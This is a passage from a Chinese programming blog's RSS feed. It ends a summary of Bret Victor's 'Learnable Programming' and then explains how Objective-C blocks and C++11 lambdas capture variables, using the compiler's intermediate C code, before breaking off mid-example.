title=\"Learnable_Programming\" src=\"https://coolshell.cn/wp-content/uploads/2012/10/Learnable_Programming.jpg\" alt=\"\" width=\"650\" height=\"207\" srcset=\"https://coolshell.cn/wp-content/uploads/2012/10/Learnable_Programming.jpg 650w, https://coolshell.cn/wp-content/uploads/2012/10/Learnable_Programming-300x96.jpg 300w, https://coolshell.cn/wp-content/uploads/2012/10/Learnable_Programming-604x192.jpg 604w\" sizes=\"(max-width: 650px) 100vw, 650px\" /></p>\n<p>然后，他说了两条——</p>\n<ul>\n<li><strong>编程是一种思考，而不是一种死记硬背的技能！</strong>你学会了“for循环”并不是说你就学会了编程，这就好像你知道有铅笔这个东西，但是你对绘画还是什么不懂。（对于这一条，正好这两天我在微博上和人辩论“<a href=\"http://weibo.com/1401880315/yFQkJn8bC\" target=\"_blank\">基础算法面试题是否好</a>”（还有<a href=\"http://weibo.com/1401880315/yFOeyy00M\" target=\"_blank\">微博一</a>，<a href=\"http://weibo.com/1401880315/z06Y0qMGf\" target=\"_blank\">微博二</a>），而且我以前也写过一篇《<a title=\"为什么我反对纯算法面试题\" href=\"https://coolshell.cn/articles/8138.html\" target=\"_blank\">为什么我反对纯算法面试</a>》，这里借用Bret的话再加强一下我的观点——“<strong>我们一方面在骂中国的应试教育毁了学生，另一方面我们又在把我们的面试变成“考八股文”式的考试！  你会qsort有什么用？你只不过是会用一支高级铅笔而已罢了。</strong>”）</li>\n</ul>\n<ul>\n<li><strong>人只有看得见，才能理解。</strong>如果一个程序员不能看到他的程序在干什么，那么她就不能理解程序。（对于这一条，让我想到了Donald Knuth的话——“An algorithm must be seen to be believe!”）</li>\n</ul>\n<p>所以，Bret 觉得编程软件的目标是——</p>\n<p><span id=\"more-8387\"></span></p>\n<ul>\n<li>支持并激发强大的思考。 To support and encourage powerful ways of thinking.</li>\n<li>让程序员可以看得见程序的运行过程。To enable programmers to see and understand the execution of their programs</li>\n</ul>\n<p>他说，可汗学院的“实时编程环境”并没有达到上面的任何一个目标。他还说用Javascript这样设计得很垃圾的语言根本不能支持强大的思考，而且还忽略了近十年来的成果，可汗学院这些东西完全是毫无价值的。</p>\n<p>Bret认为，Alan Perlis的名言——“要学会编程，你必需得同时变成机器和程序”是错误的，这句被广为流传的错误名言，让我们把编程变成很难，并且掩盖了编程的艺术。人并不是一台机器，我们也不应该强迫自己变成那样。</p>\n<p>接下来，他说明了一个编程系统应该有两个部分——</p>\n<ul>\n<li><strong>编程的“环境”，是其中一部分需要安装在电脑上的。</strong></li>\n</ul>\n<ul>\n<li><strong>编程的“语言”，是另一部分需要安装在程序员大脑里的。</strong></li>\n</ul>\n<p>他随笔给出来了一些Design Principles——</p>\n<p>对于“<strong>编程环境</strong>”，应该能让学习者干下面的事：</p>\n<ul>\n<li><strong>阅读程序词汇 read the vocabulary</strong> <em>&#8212; </em>这些单词意味着什么？是不是显而易见不用思考的？是不是很自然地被上下文解释了？</li>\n</ul>\n<ul>\n<li><strong>跟进流程 follow the flow</strong> <em>&#8212; </em>在什么时候会发生什么？流程的时间过程是不是看得见摸得着的？流程的粒度是否有意义？</li>\n</ul>\n<ul>\n<li><strong>看见状态 see the state</strong> <em>&#8212; </em>电脑在想些什么？你能不能看到电脑里的数据？并可以看到不同状态的比较？没有任何状态会隐藏？</li>\n</ul>\n<ul>\n<li><strong>通过交互来创造代码 create by reacting</strong> <em>&#8212; </em>从粗糙开始，然后开始雕琢程序。交互是否实时显示在屏幕上？有多少组件我可以用来做实时交互？</li>\n</ul>\n<ul>\n<li><strong>通过抽像来创造代码 create by abstracting</strong> <em>&#8212; </em>从一些hard code开始，然后开始抽象成变量<em>，</em>抽象成公式，抽象成函数。从一个开始作模板，然后做多个不同的东西。</li>\n</ul>\n<p>对于“<strong>编程语言</strong>” 来说，它应该提供下面的事：</p>\n<ul>\n<li><strong>同一性和比方 identity and metaphor</strong> <em>&#8212; </em>我怎么把电脑的世界和我的世界联系起来?<em> </em>推荐了一本书《<em><a href=\"http://books.google.com/books?id=HhIEAgUfGHwC&amp;printsec=frontcover\">&#8220;Mindstorms&#8221;</a></em>》</li>\n</ul>\n<ul>\n<li><strong>分解 decomposition</strong> <em>&#8212; </em>怎么把我的想法分解成碎片？<em>how do I break down my thoughts into mind-sized pieces?</em></li>\n<li><strong>重组 recomposition</strong> <em>&#8212; </em>怎么把这些碎片重组起来？<em> how do I glue pieces together?</em></li>\n<li><strong>可读性 readability</strong> <em>&#8212; </em>这一大堆程序单词是什么意思？<em>what do these words mean?</em></li>\n</ul>\n<p>然后，他说“The Features are not the point”，<strong>我们很多时候会关注编程环境和编程语言提供的功能，这就好像我们在看一本书有哪些单词一样，有哪些单词不重要，重要的是我这些单词组合起来传达了一个什么信息</strong>？<strong>一个设计的好的系统并不是一堆功能，一个设计得好的编程环境是激发特定的思考方式</strong>。所有的功能都是非常小心翼翼地组合起来为之服务。（不好意思，我又要插一句。我觉得这和我在《<a title=\"抄袭，腾讯 和 产品\" href=\"https://coolshell.cn/articles/7617.html\" target=\"_blank\">抄袭，腾讯和产品</a>》一文中，我所理解的“什么是真正的产品”有点类似——真正的产品不是功能的组合，而是要表达的价值和对某一特定问题端到端的解决方案）</p>\n<p>接下来，Bret用大量的示例告诉了大家上面所说的那几条是具体是什么。大家一定要去读一读！（我把这些东西总结果在上面的那些条目中了）</p>\n<p>最后，Bret说了一下，他被问过很多次——这些漂亮的想法怎么应用到现实世界中？他说这个问题问的是对的，但是这些问题问的就好像是——“怎么能让一匹马从内燃机引擎受益”一样，其假设的改变是错误的。他回答到，更准确的是——“<strong>Programming has to work like this</strong>”，所以他说，他的这些东西不是一种“Training”，也不是一种“银弹”，只不过是拿开了眼罩。</p>\n<p><strong>更新：</strong>一楼回复的朋友给了一个中译版的链接：<a href=\"http://chengyichao.info/learnable-programming/\">http://chengyichao.info/learnable-programming/</a></p>\n<p>(全文完)<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/19612.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2019/07/1920px-Margaret_Hamilton_-_restoration-e1563697198766-1-150x150.jpg\" alt=\"50年前的登月程序和程序员有多硬核\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/19612.html\" class=\"wp_rp_title\">50年前的登月程序和程序员有多硬核</a></li><li ><a href=\"https://coolshell.cn/articles/12052.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg\" alt=\"Leetcode 编程训练\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/12052.html\" class=\"wp_rp_title\">Leetcode 编程训练</a></li><li ><a href=\"https://coolshell.cn/articles/6775.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg\" alt=\"Bret Victor &#8211; Inventing on Principle\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/6775.html\" class=\"wp_rp_title\">Bret Victor &#8211; Inventing on Principle</a></li><li ><a href=\"https://coolshell.cn/articles/22298.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/10/communication-150x150.png\" alt=\"聊聊团队协同和协同工具\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22298.html\" class=\"wp_rp_title\">聊聊团队协同和协同工具</a></li><li ><a href=\"https://coolshell.cn/articles/22173.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/02/http_method-150x150.png\" alt=\"“一把梭：REST API 全用 POST”\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22173.html\" class=\"wp_rp_title\">“一把梭：REST API 全用 POST”</a></li><li ><a href=\"https://coolshell.cn/articles/22157.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/02/monitoring-150x150.jpeg\" alt=\"谈谈公司对员工的监控\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22157.html\" class=\"wp_rp_title\">谈谈公司对员工的监控</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/8387.html\">Bret Victor – Learnable Programming</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/8387.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>33</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>C/C++语言中闭包的探究及比较</title>\n\t\t<link>https://coolshell.cn/articles/8309.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/8309.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[Jason Lee]]></dc:creator>\n\t\t<pubDate>Thu, 20 Sep 2012 00:17:07 +0000</pubDate>\n\t\t\t\t<category><![CDATA[C/C++语言]]></category>\n\t\t<category><![CDATA[C++]]></category>\n\t\t<category><![CDATA[Closure]]></category>\n\t\t<category><![CDATA[Objective-C]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=8309</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>（感谢投稿人 @思禽饮霜 ） 这里主要讨论的是C语言的扩展特性block。该特性是Apple为C、C++、Objective-C增加的扩展，让这些语言可以用类L...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/8309.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/8309.html\">C/C++语言中闭包的探究及比较</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>（<strong><span style=\"color: #cc0000;\">感谢投稿人</span> <a href=\"http://weibo.com/jasonmblog\" target=\"_blank\">@思禽饮霜</a> </strong>）</p>\n<p>这里主要讨论的是C语言的扩展特性<a href=\"http://en.wikipedia.org/wiki/Blocks_(C_language_extension)\" target=\"_blank\">block</a>。该特性是Apple为C、C++、Objective-C增加的扩展，让这些语言可以用类Lambda表达式的语法来创建<a href=\"http://en.wikipedia.org/wiki/Closure_(computer_science)\" target=\"_blank\">闭包</a>。前段时间，在对CoreData存取进行封装时（让开发人员可以更简洁快速地写相关代码），我对block机制有了进一步了解，觉得可以和C++ 11中的Lambda表达式相互印证，所以最近重新做了下整理，分享给大家。</p>\n<h4>0. 简单创建匿名函数</h4>\n<p>下面两段代码的作用都是创建匿名函数并调用，输出Hello, World语句。分别使用Objective-C和C++ 11：</p>\n<p><code data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">^{ printf(&quot;Hello, World!\\n&quot;); } ();</code><br />\n<code data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">[] { cout &lt;&lt; &quot;Hello, World&quot; &lt;&lt; endl; } ();</code></p>\n<p>Lambda表达式的一个好处就是让开发人员可以在需要的时候临时创建函数，便捷。</p>\n<p>在创建闭包（或者说Lambda函数）的语法上，Objective-C采用的是上尖号<span style=\"color: #ff0000;\">^</span>，而C++ 11采用的是配对的方括号<span style=\"color: #ff0000;\">[]</span>。</p>\n<p>不过“<span style=\"color: #808000;\">匿名函数</span>”一词是针对程序员而言的，编译器还是采取了一定的命名规则。</p>\n<p>比如下面Objective-C代码中的3个block，</p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">\n#import &lt;Foundation/Foundation.h&gt;\n\nint (^maxBlk)(int , int) = ^(int m, int n){ return m &gt; n ? m : n; };\n\nint main(int argc, const char * argv[])\n{\n    ^{ printf(&quot;Hello, World!\\n&quot;); } ();\n\n    int i = 1024;\n    void (^blk)(void) = ^{ printf(&quot;%d\\n&quot;, i); };\n    blk();\n\n    return 0;\n}\n</pre>\n<p>会产生对应的3个函数：</p>\n<p><span id=\"more-8309\"></span></p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">\n__maxBlk_block_func_0\n__main_block_func_0\n__main_block_func_1\n</pre>\n<p>可见函数的命名规则为：__<span style=\"color: #ff0000;\">{$Scope}</span>_block_func_<span style=\"color: #ff0000;\">{$index}</span>。其中{$Scope}为block所在函数，如果{$Scope}为全局就取block本身的名称；{$index}表示该block在{$Scope}作用域内出现的顺序（第几个block）。</p>\n<h4>1. 从语法上看如何捕获外部变量</h4>\n<p>在上面的代码中，已经看到“<span style=\"color: #808000;\">匿名函数</span>”可以直接访问外围作用域的变量i：</p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">\nint i = 1024;\nvoid (^blk)(void) = ^{ printf(&quot;%d\\n&quot;, i); };\nblk();\n</pre>\n<p>当匿名函数和non-local变量结合起来，就形成了闭包（个人看法）。<br />\n这一段代码可以成功输出i的值。</p>\n<p>我们把一样的逻辑搬到C++上：</p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">\nint i = 1024;\nauto func = [] { printf(&quot;%d\\n&quot;, i); };\nfunc();\n</pre>\n<p>GCC会输出：<span style=\"color: #808000;\"><span style=\"color: #ff0000;\">错误</span>：‘i’未被捕获</span>。可见在C++中无法直接捕获外围作用域的变量。</p>\n<p>以BNF来表示Lambda表达式的上下文无关文法，存在：</p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">\nlambda-expression : lambda-introducer lambda-parameter-declarationopt compound-statement\nlambda-introducer : [ lambda-captureopt ]\n</pre>\n<p>因此，方括号中还可以加入一些选项：</p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">\n[]        Capture nothing (or, a scorched earth strategy?)\n[&amp;]       Capture any referenced variable by reference\n[=]       Capture any referenced variable by making a copy\n[=, &amp;foo] Capture any referenced variable by making a copy, but capture variable foo by reference\n[bar]     Capture bar by making a copy; don&#039;t copy anything else\n[this]    Capture the this pointer of the enclosing class\n</pre>\n<p>根据文法，对代码加以修改，使其能够成功运行：</p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">\nbash-3.2# vi testLambda.cpp\nbash-3.2# g++-4.7 -std=c++11 testLambda.cpp -o testLambda\nbash-3.2# ./testLambda\n1024\nbash-3.2# cat testLambda.cpp\n#include &lt;iostream&gt;\n\nusing  namespace std;\n\nint main()\n{\n     int i = 1024;\n     auto func = [=] { printf(&quot;%d\\n&quot;, i); };\n     func();\n\n     return 0;\n}\nbash-3.2#\n</pre>\n<h4>2. 从语法上看如何修改外部变量</h4>\n<p>上面代码中使用了符号<span style=\"color: #ff0000;\">=</span>，通过<span style=\"color: #808000;\">拷贝方式</span>捕获了外部变量i。<br />\n但是如果尝试在Lambda表达式中修改变量i：</p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">\nauto func = [=] { i = 0; printf(&quot;%d\\n&quot;, i); };\n</pre>\n<p>会得到错误：</p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">\ntestLambda.cpp: 在 lambda 函数中:\ntestLambda.cpp:9:24: 错误：向只读变量‘i’赋值\n</pre>\n<p>可见<em><span style=\"color: #808000;\">通过拷贝方式捕获的外部变量是只读的</span></em>。Python中也有一个类似的经典case，个人觉得有相通之处：</p>\n<pre data-enlighter-language=\"python\" class=\"EnlighterJSRAW\">\nx = 10\ndef foo():\n    print(x)\n    x += 1\nfoo()\n</pre>\n<p>这段代码会抛出<span style=\"color: #ff0000;\">UnboundLocalError</span>错误，原因可以参见<a href=\"http://docs.python.org/faq/programming.html#why-am-i-getting-an-unboundlocalerror-when-the-variable-has-a-value\" target=\"_blank\">FAQ</a>。</p>\n<p>在C++的闭包语法中，如果需要对外部变量的写权限，可以使用符号<span style=\"color: #ff0000;\">&amp;</span>，通过<span style=\"color: #808000;\"><em>引用方式</em></span>捕获：</p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">\nint i = 1024;\nauto func = [&amp;] { i = 0; printf(&quot;%d\\n&quot;, i); };\nfunc();\n</pre>\n<p>反过来，将修改外部变量的逻辑放到Objective-C代码中：</p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">\nint i = 1024;\nvoid (^blk)(void) = ^{ i = 0; printf(&quot;%d\\n&quot;, i); };\nblk();\n</pre>\n<p>会得到如下错误：</p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">\nmain.m:14:29: error: variable is not assignable (missing __block type specifier)\n    void (^blk)(void) = ^{ i++; printf(&quot;%d\\n&quot;, i); };\n                           ~^\n1 error generated.\n</pre>\n<p>可见在block的语法中，默认捕获的外部变量也是只读的，如果要修改外部变量，需要使用<span style=\"color: #ff0000;\">__block</span>类型指示符进行修饰。<br />\n为什么呢？请继续往下看 ：）</p>\n<h4>3. 从实现上看如何捕获外部变量</h4>\n<p>闭包对于编程语言来说是一种语法糖，包括Block和Lambda，是为了方便程序员开发而引入的。因此，对Block特性的支持会落地在<span style=\"color: #808000;\"><em>编译器前端</em></span>，中间代码将会是C语言。</p>\n<p>先看如下代码会产生怎样的中间代码。</p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">\nint main(int argc, const char * argv[])\n{\n    int i = 1024;\n    void (^blk)(void) = ^{ printf(&quot;%d\\n&quot;, i); };\n    blk();\n\n    return 0;\n}\n</pre>\n<p>首先是<span style=\"color: #ff0000;\">block结构体</span>的实现：</p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">\n#ifndef BLOCK_IMPL\n#define BLOCK_IMPL\nstruct __block_impl {\n    void *isa;\n    int Flags;\n    int Reserved;\n    void *FuncPtr;\n};\n// 省略部分代码\n\n#endif\n</pre>\n<p>第一个成员<span style=\"color: #ff0000;\">isa</span>指针用来表示该结构体的类型，使其仍然处于Cocoa的对象体系中，类似Python对象系统中的PyObject。</p>\n<p>第二、三个成员是标志位和保留位。</p>\n<p>第四个成员是对应的“匿名函数”，在这个例子中对应函数：</p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">\nstatic void __main_block_func_0(struct __main_block_impl_0 *__cself) {\n    int i = __cself-&gt;i; // bound by copy\n    printf(&quot;%d\\n&quot;, i);\n}\n</pre>\n<p>函数__main_block_func_0引入了参数<span style=\"color: #808000;\">__cself</span>，为struct __main_block_impl_0 *类型，从参数名称就可以看出它的功能类似于C++中的this指针或者Objective-C的self。<br />\n而struct __main_block_impl_0的结构如下：</p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">\nstruct __main_block_impl_0 {\n    struct __block_impl impl;\n    struct __main_block_desc_0* Desc;\n    int i;\n    __main_block_impl_0(void *fp, struct __main_block_desc_0 *desc, int _i, int flags=0) : i(_i) {\n        impl.isa = &amp;_NSConcreteStackBlock;\n        impl.Flags = flags;\n        impl.FuncPtr = fp;\n        Desc = desc;\n    }\n};\n</pre>\n<p>从__main_block_impl_0这个名称可以看出该结构体是为main函数中第零个block服务的，即示例代码中的blk；也可以猜到不同场景下的block对应的结构体不同，但本质上第一个成员一定是<span style=\"color: #808000;\">struct __block_impl impl</span>，因为这个成员是block实现的基石。</p>\n<p>结构体__main_block_impl_0又引入了一个新的结构体，也是中间代码里最后一个结构体：</p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">\nstatic struct __main_block_desc_0 {\n    unsigned long reserved;\n    unsigned long Block_size;\n} __main_block_desc_0_DATA = { 0, sizeof(struct __main_block_impl_0)};\n</pre>\n<p>可以看出，这个描述性质的结构体包含的价值信息就是struct __main_block_impl_0的大小。</p>\n<p>最后剩下main函数对应的中间代码：</p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">\nint main(int argc, const char * argv[])\n{\n    int i = 1024;\n    void (*blk)(void) = (void (*)(void))&amp;__main_block_impl_0((void *)__main_block_func_0, &amp;__main_block_desc_0_DATA, i);\n    ((void (*)(struct __block_impl *))((struct __block_impl *)blk)-&gt;FuncPtr)((struct __block_impl *)blk);\n\n    return 0;\n}\n</pre>\n<p>从main函数对应的中间代码可以看出<span style=\"color: #ff0000;\">执行block的本质</span>就是<span style=\"color: #808000;\">以block结构体自身作为__cself参数</span>，这里对应__main_block_impl_0，<span style=\"color: #808000;\">通过结构体成员FuncPtr函数指针调用对应的函数</span>，这里对应__main_block_func_0。</p>\n<p>其中，局部变量i是以<span style=\"color: #808000;\">值传递</span>的方式拷贝一份，作为__main_block_impl_0的构造函数的参数，并以初始化列表的形式赋值给其成员变量i。所以，基于这样的实现，不允许直接修改外部变量是合理的——因为按值传递根本改不到外部变量。</p>\n<h4>4. 从实现上看如何修改外部变量（<span style=\"color: #ff0000;\">__block</span>类型指示符）</h4>\n<p>如果想要修改外部变量，则需要用<span style=\"color: #ff0000;\">__block</span>来修饰：</p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">\nint main(int argc, const char * argv[])\n{\n    __block int i = 1024;\n    void (^blk)(void) = ^{ i = 0; printf(&quot;%d\\n&quot;, i); };\n    blk();\n\n    return 0;\n}\n</pre>\n<p>此时再看中间代码，发现多了一个结构体：</p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">\nstruct __Block_byref_i_0 {\n    void *__isa;\n    __Block_byref_i_0 *__forwarding;\n    int __flags;\n    int __size;\n    int i;\n};\n</pre>\n<p>于是，用__block修饰的int变量<span style=\"color: #808000;\">i化身为</span>__Block_byref_i_0结构体的最后一个<span style=\"color: #808000;\">成员变量</span>。</p>\n<p>代码中blk对应的结构体也发生了变化：</p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">\nstruct __main_block_impl_0 {\n    struct __block_impl impl;\n    struct __main_block_desc_0* Desc;\n    __Block_byref_i_0 *i; // by ref\n    __main_block_impl_0(void *fp, struct__main_block_desc_0 *desc, __Block_byref_i_0 *_i, int flags=0) : i(_i-&gt;__forwarding) {\n        impl.isa = &amp;_NSConcreteStackBlock;\n        impl.Flags = flags;\n        impl.FuncPtr = fp;\n        Desc = desc;\n    }\n};\n</pre>\n<p>__main_block_impl_0发生的变化就是int类型的成员变量i换成了__Block_byref_i_0 *类型，从名称可以看出现在要通过引用方式来捕获了。</p>\n<p>对应的函数也不同了：</p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">\nstatic void __main_block_func_0(struct  __main_block_impl_0 *__cself) {\n    __Block_byref_i_0 *i = __cself-&gt;i; // bound by ref\n    (i-&gt;__forwarding-&gt;i) = 0; // 看起来很厉害的样子\n    printf(&quot;%d\\n&quot;, (i-&gt;__forwarding-&gt;i));\n}\n</pre>\n<p>main函数也有了变动：</p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">\nint main(int argc, const char * argv[])\n{\n    __block __Block_byref_i_0 i = {(void*)0,(__Block_byref_i_0 *)&amp;i, 0, sizeof(__Block_byref_i_0), 1024};\n    void (*blk)(void) = (void (*)(void))&amp;__main_block_impl_0((void *)__main_block_func_0, &amp;__main_block_desc_0_DATA, (struct __Block_byref_i_0 *)&amp;i, 570425344);\n    ((void (*)(struct __block_impl *))((struct __block_impl *)blk)-&gt;FuncPtr)((struct __block_impl *)blk);\n\n    return 0;\n}\n</pre>\n<p>前两行代码创建了两个关键结构体，特地高亮显示。</p>\n<p>这里没有看__main_block_desc_0发生的变化，<em><span style=\"color: #808000;\">放到后面讨论</span></em>。</p>\n<p>使用<span style=\"color: #ff0000;\">__block类型指示符的本质</span>就是引入了__Block_byref_<span style=\"color: #ff0000;\">{$var_name}</span>_<span style=\"color: #ff0000;\">{$index}</span>结构体，而被__block关键字修饰的变量就被放到这个结构体中。另外，block结构体通过引入__Block_byref_{$var_name}_{$index}指针类型的成员，得以间接访问到外部变量。</p>\n<p>通过这样的设计，我们就可以修改外部作用域的变量了，再一次应了那句话：</p>\n<blockquote><p>There is no problem in computer science that can’t be solved by adding another level of indirection.</p></blockquote>\n<p>指针是我们最经常使用的间接手段，而这里的本质也是通过指针来间接访问，为什么要特地引入__Block_byref_{$var_name}_{$index}结构体，而不是直接使用int *来访问外部变量i呢？</p>\n<p>另外，__Block_byref_{$var_name}_{$index}结构体中的<span style=\"color: #ff0000;\">__forwarding</span>指针成员有何作用？</p>\n<p>请继续往下看 ：）</p>\n<h4>5. 背后的内存管理动作</h4>\n<p>在Objective-C中，block特性的引入是<em><span style=\"color: #808000;\">为了让程序员可以更简洁优雅地编写并发代码</span></em>（配合看起来像敏感词的GCD）。比较常见的就是将block作为函数参数传递，以供后续回调执行。</p>\n<p>先看一段完整的、可执行的代码：</p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">\n#import &lt;Foundation/Foundation.h&gt;\n#include &lt;pthread.h&gt;\n\ntypedef void (^DemoBlock)(void);\n\nvoid test();\nvoid *testBlock(void *blk);\n\nint main(int argc, const char * argv[])\n{\n    printf(&quot;Before test()\\n&quot;);\n    test();\n    printf(&quot;After test()\\n&quot;);\n\n    sleep(5);\n    return 0;\n}\n\nvoid test()\n{\n    __block int i = 1024;\n    void (^blk)(void) = ^{ i = 2048; printf(&quot;%d\\n&quot;, i); };\n\n    pthread_t thread;\n    int ret = pthread_create(&amp;thread, NULL, testBlock, (void *)blk);\n    printf(&quot;thread returns : %d\\n&quot;, ret);\n\n    sleep(3); // 这里睡眠1s的话，程序会崩溃\n}\n\nvoid *testBlock(void *blk)\n{\n    sleep(2);\n\n    printf(&quot;testBlock : Begin to exec blk.\\n&quot;);\n    DemoBlock demoBlk = (DemoBlock)blk;\n    demoBlk();\n\n    return NULL;\n}\n</pre>\n<p>在这个示例中，位于test()函数的block类型的变量blk就作为函数参数传递给testBlock。</p>\n<p>正常情况下，这段代码可以成功运行，输出：</p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">\nBefore test()\nthread returns : 0\ntestBlock : Begin to exec blk.\n2048\nAfter test()\n</pre>\n<p>如果按照注释，将test()函数最后一行改为休眠1s的话，正常情况下程序会在输出如下结果后崩溃：</p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">\nBefore test()\nthread returns : 0\nAfter test()\ntestBlock : Begin to exec blk.\n</pre>\n<p>从输出可以看出，当要执行blk的时候，test()已经执行完毕回到main函数中，对应的<span style=\"color: #808000;\">函数栈也已经展开</span>，此时栈上的变量已经不存在了，继续访问导致崩溃——这也是不用int *直接访问外部变量i的原因。</p>\n<h5>5.1 拷贝block结构体</h5>\n<p>上文提到block结构体__block_impl的第一个成员是isa指针，使其成为NSObject的子类，所以我们可以通过相应的<span style=\"color: #808000;\">内存管理机制</span>将其拷贝到堆上：</p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">\nvoid test()\n{\n    __block int i = 1024;\n    void (^blk)(void) = ^{ i = 2048; printf(&quot;%d\\n&quot;, i); };\n\n    pthread_t thread;\n    int ret = pthread_create(&amp;thread, NULL, testBlock, (void *)[blk copy]);\n    printf(&quot;thread returns : %d\\n&quot;, ret);\n\n    sleep(1);\n}\n\nvoid *testBlock(void *blk)\n{\n    sleep(2);\n\n    printf(&quot;testBlock : Begin to exec blk.\\n&quot;);\n    DemoBlock demoBlk = (DemoBlock)blk;\n    demoBlk();\n    [demoBlk release];\n\n    returnNULL;\n}\n</pre>\n<p>再次执行，得到输出：</p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">\nBefore test()\nthread returns : 0\nAfter test()\ntestBlock : Begin to exec blk.\n2048\n</pre>\n<p>可以看出，在test()函数栈展开后，demoBlk仍然可以成功执行，这是由于blk对应的block结构体__main_block_impl_0已经在堆上了。<span style=\"color: #808000;\">不过这还不够</span>——</p>\n<h5>5.2 拷贝捕获的变量（<span style=\"color: #ff0000;\">__block</span>变量）</h5>\n<p>在拷贝block结构体的同时，还会将捕获的<span style=\"color: #ff0000;\">__block</span>变量，即结构体__Block_byref_i_0，复制到堆上。这个任务落在前面没有讨论的__main_block_desc_0结构体身上：</p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">\nstatic void __main_block_copy_0(struct __main_block_impl_0*dst, struct __main_block_impl_0*src) {_Block_object_assign((void*)&amp;dst-&gt;i, (void*)src-&gt;i, 8/*BLOCK_FIELD_IS_BYREF*/);}\n\nstatic void __main_block_dispose_0(struct __main_block_impl_0*src) {_Block_object_dispose((void*)src-&gt;i, 8/*BLOCK_FIELD_IS_BYREF*/);}\n\nstatic struct __main_block_desc_0 {\n    unsigned long reserved;\n    unsigned long Block_size;\n    void (*copy)(struct __main_block_impl_0*, struct __main_block_impl_0*);\n    void (*dispose)(struct __main_block_impl_0*);\n} __main_block_desc_0_DATA = { 0, sizeof(struct __main_block_impl_0), __main_block_copy_0, 